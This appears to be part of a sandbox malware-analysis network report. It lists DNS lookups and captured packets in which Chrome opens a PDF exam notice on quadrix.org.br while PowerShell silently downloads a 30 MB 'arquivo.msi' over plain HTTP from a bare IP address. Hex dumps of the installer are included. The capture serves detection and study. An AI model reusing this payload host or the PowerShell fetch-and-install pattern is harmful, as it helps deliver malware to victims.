May 10, 2024 09:20:56.632174969 CEST	1.1.1.1	192.168.2.4	0xabff	No error (0)	vlibras.gov.br		18.229.86.183	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.632174969 CEST	1.1.1.1	192.168.2.4	0xabff	No error (0)	vlibras.gov.br		54.232.208.24	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:56.632174969 CEST	1.1.1.1	192.168.2.4	0xabff	No error (0)	vlibras.gov.br		54.233.145.61	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:57.031729937 CEST	1.1.1.1	192.168.2.4	0x7bdc	No error (0)	www.quadrix.org.br			65	IN (0x0001)	false
May 10, 2024 09:20:57.064115047 CEST	1.1.1.1	192.168.2.4	0x77b4	No error (0)	www.quadrix.org.br		172.66.40.85	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:57.064115047 CEST	1.1.1.1	192.168.2.4	0x77b4	No error (0)	www.quadrix.org.br		172.66.43.171	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.672791958 CEST	1.1.1.1	192.168.2.4	0x4571	No error (0)	www.google.com		142.250.191.164	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.673049927 CEST	1.1.1.1	192.168.2.4	0x98a1	No error (0)	www.google.com			65	IN (0x0001)	false
May 10, 2024 09:20:58.882560968 CEST	1.1.1.1	192.168.2.4	0xa8ad	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.882560968 CEST	1.1.1.1	192.168.2.4	0xa8ad	No error (0)	scontent.xx.fbcdn.net		157.240.249.8	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.882944107 CEST	1.1.1.1	192.168.2.4	0x4f80	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.882957935 CEST	1.1.1.1	192.168.2.4	0xc442	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.882957935 CEST	1.1.1.1	192.168.2.4	0xc442	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.882957935 CEST	1.1.1.1	192.168.2.4	0xc442	No error (0)	shed.dual-low.part-0023.t-0009.t-msedge.net	part-0023.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.882957935 CEST	1.1.1.1	192.168.2.4	0xc442	No error (0)	part-0023.t-0009.t-msedge.net		13.107.246.51	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.882957935 CEST	1.1.1.1	192.168.2.4	0xc442	No error (0)	part-0023.t-0009.t-msedge.net		13.107.213.51	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:58.885030031 CEST	1.1.1.1	192.168.2.4	0x6faf	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:58.885030031 CEST	1.1.1.1	192.168.2.4	0x6faf	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:20:59.879693985 CEST	1.1.1.1	192.168.2.4	0xa135	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
May 10, 2024 09:20:59.880491972 CEST	1.1.1.1	192.168.2.4	0xd6e6	No error (0)	googleads.g.doubleclick.net		172.217.5.2	A (IP address)	IN (0x0001)	false
May 10, 2024 09:20:59.880820990 CEST	1.1.1.1	192.168.2.4	0x7984	No error (0)	td.doubleclick.net		142.250.191.162	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.511456013 CEST	1.1.1.1	192.168.2.4	0xa53c	No error (0)	www.google.com			65	IN (0x0001)	false
May 10, 2024 09:21:00.511684895 CEST	1.1.1.1	192.168.2.4	0x46c6	No error (0)	www.google.com		172.217.4.68	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.772491932 CEST	1.1.1.1	192.168.2.4	0xc145	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:00.773087978 CEST	1.1.1.1	192.168.2.4	0xc3f3	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:00.773087978 CEST	1.1.1.1	192.168.2.4	0xc3f3	No error (0)	star-mini.c10r.facebook.com		157.240.249.35	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:00.776724100 CEST	1.1.1.1	192.168.2.4	0xfa6e	No error (0)	v.clarity.ms	clarity-ingest-eus2-d-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:00.777143955 CEST	1.1.1.1	192.168.2.4	0x76db	No error (0)	v.clarity.ms	clarity-ingest-eus2-d-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:01.123724937 CEST	1.1.1.1	192.168.2.4	0x1493	No error (0)	www.google.com			65	IN (0x0001)	false
May 10, 2024 09:21:01.123833895 CEST	1.1.1.1	192.168.2.4	0xaa5e	No error (0)	www.google.com		142.250.191.228	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:01.560575008 CEST	1.1.1.1	192.168.2.4	0x7a1b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:01.560575008 CEST	1.1.1.1	192.168.2.4	0x7a1b	No error (0)	star-mini.c10r.facebook.com		157.240.249.35	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:01.562570095 CEST	1.1.1.1	192.168.2.4	0x654	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:02.136368036 CEST	1.1.1.1	192.168.2.4	0x83d7	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:02.136368036 CEST	1.1.1.1	192.168.2.4	0x83d7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:02.136776924 CEST	1.1.1.1	192.168.2.4	0x9b30	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:02.136776924 CEST	1.1.1.1	192.168.2.4	0x9b30	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.542556047 CEST	1.1.1.1	192.168.2.4	0xd2a3	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.542556047 CEST	1.1.1.1	192.168.2.4	0xd2a3	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.542556047 CEST	1.1.1.1	192.168.2.4	0xd2a3	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.542556047 CEST	1.1.1.1	192.168.2.4	0xd2a3	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.542556047 CEST	1.1.1.1	192.168.2.4	0xd2a3	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
May 10, 2024 09:21:04.543266058 CEST	1.1.1.1	192.168.2.4	0xf4a0	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.931145906 CEST	1.1.1.1	192.168.2.4	0x1e5a	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.931145906 CEST	1.1.1.1	192.168.2.4	0x1e5a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.931965113 CEST	1.1.1.1	192.168.2.4	0x2184	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:21:04.931965113 CEST	1.1.1.1	192.168.2.4	0x2184	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:22:45.611603022 CEST	1.1.1.1	192.168.2.4	0x682b	No error (0)	v.clarity.ms	clarity-ingest-eus2-d-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2024 09:22:45.615664005 CEST	1.1.1.1	192.168.2.4	0xbade	No error (0)	v.clarity.ms	clarity-ingest-eus2-d-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49754	34.68.151.162	80	7632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2024 09:20:56.902868986 CEST	74	OUT	GET /arquivo.msi HTTP/1.1 Host: 34.68.151.162 Connection: Keep-Alive
May 10, 2024 09:20:57.033421040 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 09 May 2024 05:39:06 GMT ETag: "1d42800-617fed66402a6" Accept-Ranges: bytes Content-Length: 30681088 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msi Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 06 00 00 00 00 00 00 00 00 00 00 00 d5 01 00 00 01 00 00 00 00 00 00 00 00 10 00 00 03 00 00 00 03 00 00 00 1b 0c 00 00 03 00 00 00 00 00 00 00 47 00 00 00 d1 00 00 00 63 01 00 00 f7 01 00 00 75 02 00 00 ad 02 00 00 ae 02 00 00 af 02 00 00 b0 02 00 00 b1 02 00 00 b2 02 00 00 ef 05 00 00 4f 06 00 00 50 06 00 00 51 06 00 00 52 06 00 00 53 06 00 00 54 06 00 00 55 06 00 00 56 06 00 00 57 06 00 00 f0 0a 00 00 0a 00 00 00 c5 0b 00 00 c6 0b 00 00 c7 0b 00 00 c8 0b 00 00 c9 0b 00 00 ca 0b 00 00 cb 0b 00 00 cc 0b 00 00 cd 0b 00 00 ce 0b 00 00 cf 0b 00 00 d0 0b 00 00 d1 0b 00 00 d2 0b 00 00 d3 0b 00 00 d4 0b 00 00 d5 0b 00 00 d6 0b 00 00 d7 0b 00 00 d8 0b 00 00 d9 0b 00 00 da 0b 00 00 db 0b 00 00 dc 0b 00 00 dd 0b 00 00 de 0b 00 00 df 0b 00 00 e0 0b 00 00 e1 0b 00 00 e2 0b 00 00 e3 0b 00 00 e4 0b 00 00 e5 0b 00 00 e6 0b 00 00 e7 0b 00 00 e8 0b 00 00 e9 0b 00 00 ea 0b 00 00 eb 0b 00 00 ec 0b 00 00 ed 0b 00 00 ee 0b [TRUNCATED] Data Ascii: >GcuOPQRSTUVW=$5 !"#,%&'()*+-.3/01264>A789:;<?@BCDEFIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvw
May 10, 2024 09:20:57.033433914 CEST	1289	IN	Data Raw: 00 78 00 00 00 79 00 00 00 7a 00 00 00 7b 00 00 00 7c 00 00 00 7d 00 00 00 7e 00 00 00 7f 00 00 00 80 00 00 00 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: xyz{\|}~Root EntryF/1LSummaryInformation(
May 10, 2024 09:20:57.033446074 CEST	1289	IN	Data Raw: 3a 00 00 00 3b 00 00 00 3c 00 00 00 3d 00 00 00 3e 00 00 00 3f 00 00 00 40 00 00 00 41 00 00 00 42 00 00 00 43 00 00 00 44 00 00 00 45 00 00 00 46 00 00 00 47 00 00 00 48 00 00 00 49 00 00 00 4a 00 00 00 4b 00 00 00 4c 00 00 00 4d 00 00 00 4e 00 Data Ascii: :;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdhgjklmnopqrt
May 10, 2024 09:20:57.033458948 CEST	1289	IN	Data Raw: 00 36 01 38 01 3a 01 fc 00 01 00 3e 01 40 01 48 ad 04 a1 04 81 02 85 00 99 26 9d 26 ad 02 a5 00 9d 48 ad ff 9d 02 95 26 ad 02 85 26 ad 48 ad 20 ad 20 ad 04 8d 04 91 04 91 ff 9d 02 95 20 9d ff 9d ff 9d 48 ad 00 9d 00 9d 48 ad 00 9d 02 95 48 ad 00 Data Ascii: 68:>@H&&H&&H HHHH HH&&@HHHH@ HHH&HHHHHHH222H222HHH2
May 10, 2024 09:20:57.035059929 CEST	1289	IN	Data Raw: d5 03 f8 03 cc 03 d5 03 cf 03 f1 03 ee 03 eb 03 ec 03 ed 03 ef 03 f0 03 47 03 3f 03 e7 03 47 03 b9 03 b9 03 f2 03 f4 03 8c 03 8c 03 f6 03 47 03 8c 03 8c 03 b2 03 24 00 24 00 44 03 47 03 b3 03 47 03 27 03 50 03 d8 03 da 03 04 00 04 00 04 00 04 00 Data Ascii: G?GG$$DGG'P DDDDDDDDDDNNNVVVWWWZZZZZcccccceeeeeeeehhhhhhhhoooooorruuuuxxxxxx\|\|\|~~
May 10, 2024 09:20:57.035078049 CEST	1289	IN	Data Raw: ff 41 74 74 72 69 62 75 74 65 73 50 61 74 63 68 53 69 7a 65 46 69 6c 65 5f 50 61 74 63 68 54 79 70 65 41 63 74 69 6f 6e 43 6f 6e 64 69 74 69 6f 6e 53 65 71 75 65 6e 63 65 43 6f 73 74 46 69 6e 61 6c 69 7a 65 43 6f 73 74 49 6e 69 74 69 61 6c 69 7a Data Ascii: AttributesPatchSizeFile_PatchTypeActionConditionSequenceCostFinalizeCostInitializeTableNameInstallFinalizeInstallInitializeInstallValidateAdvtExecuteSequenceCreateShortcutsMsiPublishAssembliesPublishComponentsPublishFeaturesPublishProductRegi
May 10, 2024 09:20:57.035092115 CEST	1289	IN	Data Raw: 20 73 6f 72 74 20 6f 72 64 65 72 20 69 6e 20 77 68 69 63 68 20 74 68 65 20 61 63 74 69 6f 6e 73 20 61 72 65 20 74 6f 20 62 65 20 65 78 65 63 75 74 65 64 2e 20 20 4c 65 61 76 65 20 62 6c 61 6e 6b 20 74 6f 20 73 75 70 70 72 65 73 73 20 61 63 74 69 Data Ascii: sort order in which the actions are to be executed. Leave blank to suppress action.Name of action to invoke, either in the engine or the handler DLL.TextStyleFaceNameTextA string indicating the name of the font used. Required. The string mus
May 10, 2024 09:20:57.035104036 CEST	1289	IN	Data Raw: 2e 45 78 70 72 65 73 73 69 6f 6e 20 65 76 61 6c 75 61 74 65 64 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 69 66 20 4c 65 76 65 6c 20 69 6e 20 74 68 65 20 46 65 61 74 75 72 65 20 74 61 62 6c 65 20 69 73 20 74 6f 20 63 68 61 6e 67 65 2e 41 20 63 6f Data Ascii: .Expression evaluated to determine if Level in the Feature table is to change.A conditional statement that will disable this component if the specified condition evaluates to the 'True' state. If a component is disabled, it will not be install
May 10, 2024 09:20:57.036778927 CEST	1289	IN	Data Raw: 67 6e 65 64 20 74 6f 20 74 68 65 20 69 74 65 6d 2e 20 4f 70 74 69 6f 6e 61 6c 2e 20 49 66 20 74 68 69 73 20 65 6e 74 72 79 20 6f 72 20 74 68 65 20 65 6e 74 69 72 65 20 63 6f 6c 75 6d 6e 20 69 73 20 6d 69 73 73 69 6e 67 2c 20 74 68 65 20 74 65 78 Data Ascii: gned to the item. Optional. If this entry or the entire column is missing, the text is the same as the value.SizeThe size of the font used. This size is given in our units (1/12 of the system font height). Assuming that the system font is set
May 10, 2024 09:20:57.036844015 CEST	1289	IN	Data Raw: 6e 74 20 64 69 61 6c 6f 67 73 2e 20 54 68 65 20 74 79 70 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 58 48 6f 72 69 7a 6f 6e 74 61 6c 20 63 6f 6f 72 64 69 6e 61 74 65 20 6f 66 20 74 68 65 20 75 70 70 65 72 20 6c 65 66 74 20 63 6f 72 6e 65 Data Ascii: nt dialogs. The type of the control.XHorizontal coordinate of the upper left corner of the bounding rectangle of the control.Vertical coordinate of the upper left corner of the bounding rectangle of the control.WidthWidth of the bounding recta
May 10, 2024 09:20:57.164556980 CEST	1289	IN	Data Raw: 69 65 73 2e 41 72 67 75 6d 65 6e 74 41 20 76 61 6c 75 65 20 74 6f 20 62 65 20 75 73 65 64 20 61 73 20 61 20 6d 6f 64 69 66 69 65 72 20 77 68 65 6e 20 74 72 69 67 67 65 72 69 6e 67 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 65 76 65 6e 74 2e 41 20 Data Ascii: ies.ArgumentA value to be used as a modifier when triggering a particular event.A standard conditional statement that specifies under which conditions an event should be triggered.OrderingAn integer used to order several events tied to the sam

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:55 UTC	813	OUT	GET /web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:55 UTC	296	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 18 Apr 2024 15:24:27 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88182b628b6f6287-ORD
2024-05-10 07:20:55 UTC	1073	IN	Data Raw: 34 31 65 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6d 6f 7a 64 69 73 61 6c 6c 6f 77 73 65 6c 65 63 74 69 6f 6e 70 72 69 6e 74 20 6d 6f 7a 6e 6f 6d 61 72 67 69 6e 62 6f 78 65 73 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 74 72 61 6e 73 6c 61 74 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 Data Ascii: 41e5<!DOCTYPE html><html dir="ltr" mozdisallowselectionprint moznomarginboxes><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><meta name="google" content="notranslate"><meta http-eq
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 52 79 62 65 6e 61 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 6d 64 2e 6d 6f 62 69 6c 65 28 29 29 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 35 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6c 31 30 6e 2e 6a 73 22 20 74 79 70 65 3d 22 36 38 61 38 61 64 33 32 34 39 33 30 65 62 39 31 32 34 62 38 64 36 66 65 2d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ); jQueryRybena(document).ready(function () { if (!md.mobile()) { console.log(5) } }); </script><script src="l10n.js" type="68a8ad324930eb9124b8d6fe-text/javascript"></scrip
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 64 3d 22 6d 61 69 6e 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6e 64 62 61 72 20 68 69 64 64 65 6e 20 64 6f 6f 72 48 61 6e 67 65 72 20 68 69 64 64 65 6e 53 6d 61 6c 6c 56 69 65 77 22 20 69 64 3d 22 66 69 6e 64 62 61 72 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 66 69 6e 64 49 6e 70 75 74 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 4c 61 62 65 6c 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 66 69 6e 64 5f 6c 61 62 65 6c 22 3e 42 75 73 63 61 72 3a 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 69 64 3d 22 66 69 6e 64 49 6e 70 75 74 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 46 69 65 6c 64 22 20 74 61 62 69 6e 64 65 78 3d 22 39 31 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 6c 69 74 54 6f 6f 6c 62 61 Data Ascii: d="mainContainer"><div class="findbar hidden doorHanger hiddenSmallView" id="findbar"><label for="findInput" class="toolbarLabel" data-l10n-id="find_label">Buscar:</label><input id="findInput" class="toolbarField" tabindex="91"><div class="splitToolba
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 4d 6f 64 65 20 76 69 73 69 62 6c 65 4c 61 72 67 65 56 69 65 77 22 20 74 69 74 6c 65 3d 22 41 6c 74 65 72 61 72 20 70 61 72 61 20 74 65 6c 61 20 63 68 65 69 61 22 20 74 61 62 69 6e 64 65 78 3d 22 35 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 5f 6c 61 62 65 6c 22 3e 54 65 6c 61 20 63 68 65 69 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 63 6f 6e 64 61 72 79 4f 70 65 6e 46 69 6c 65 22 20 63 6c 61 73 73 3d 22 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 6f 70 65 6e 46 69 6c 65 20 68 69 64 64 65 6e 22 20 74 Data Ascii: Mode visibleLargeView" title="Alterar para tela cheia" tabindex="51" data-l10n-id="presentation_mode"><span data-l10n-id="presentation_mode_label">Tela cheia</span></button><button id="secondaryOpenFile" class="secondaryToolbarButton openFile hidden" t
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 74 61 62 69 6e 64 65 78 3d 22 35 37 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6c 61 73 74 5f 70 61 67 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6c 61 73 74 5f 70 61 67 65 5f 6c 61 62 65 6c 22 3e 49 72 20 70 61 72 61 20 c3 ba 6c 74 69 6d 61 20 70 c3 a1 67 69 6e 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 72 69 7a 6f 6e 74 61 6c 54 6f 6f 6c 62 61 72 53 65 70 61 72 61 74 6f 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 70 61 67 65 52 6f 74 61 74 65 43 77 22 20 63 6c 61 73 73 3d 22 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 72 6f 74 61 74 65 43 77 22 20 74 69 74 6c 65 3d 22 52 6f 74 61 74 65 20 43 6c 6f 63 6b 77 69 73 65 22 Data Ascii: tabindex="57" data-l10n-id="last_page"><span data-l10n-id="last_page_label">Ir para ltima pgina</span></button><div class="horizontalToolbarSeparator"></div><button id="pageRotateCw" class="secondaryToolbarButton rotateCw" title="Rotate Clockwise"
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 22 20 74 69 74 6c 65 3d 22 45 78 69 62 69 72 2f 4f 63 75 6c 74 61 72 20 42 61 72 72 61 20 6c 61 74 65 72 61 6c 22 20 74 61 62 69 6e 64 65 78 3d 22 31 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 74 6f 67 67 6c 65 5f 73 69 64 65 62 61 72 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 74 6f 67 67 6c 65 5f 73 69 64 65 62 61 72 5f 6c 61 62 65 6c 22 3e 42 61 72 72 61 20 6c 61 74 65 72 61 6c 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 53 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 76 69 65 77 46 69 6e 64 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 67 72 6f 75 70 20 68 69 64 64 65 6e 53 6d 61 Data Ascii: " title="Exibir/Ocultar Barra lateral" tabindex="11" data-l10n-id="toggle_sidebar"><span data-l10n-id="toggle_sidebar_label">Barra lateral</span></button><div class="toolbarButtonSpacer"></div><button id="viewFind" class="toolbarButton group hiddenSma
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 6c 61 20 63 68 65 69 61 22 20 74 61 62 69 6e 64 65 78 3d 22 33 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 5f 6c 61 62 65 6c 22 3e 54 65 6c 61 20 63 68 65 69 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 6f 70 65 6e 46 69 6c 65 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 6f 70 65 6e 46 69 6c 65 20 68 69 64 64 65 6e 22 20 74 69 74 6c 65 3d 22 4f 70 65 6e 20 46 69 6c 65 22 20 74 61 62 69 6e 64 65 78 3d 22 33 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6f 70 65 6e 5f 66 69 6c 65 22 3e 0a 3c 73 70 61 6e 20 Data Ascii: la cheia" tabindex="31" data-l10n-id="presentation_mode"><span data-l10n-id="presentation_mode_label">Tela cheia</span></button><button id="openFile" class="toolbarButton openFile hidden" title="Open File" tabindex="32" data-l10n-id="open_file"><span
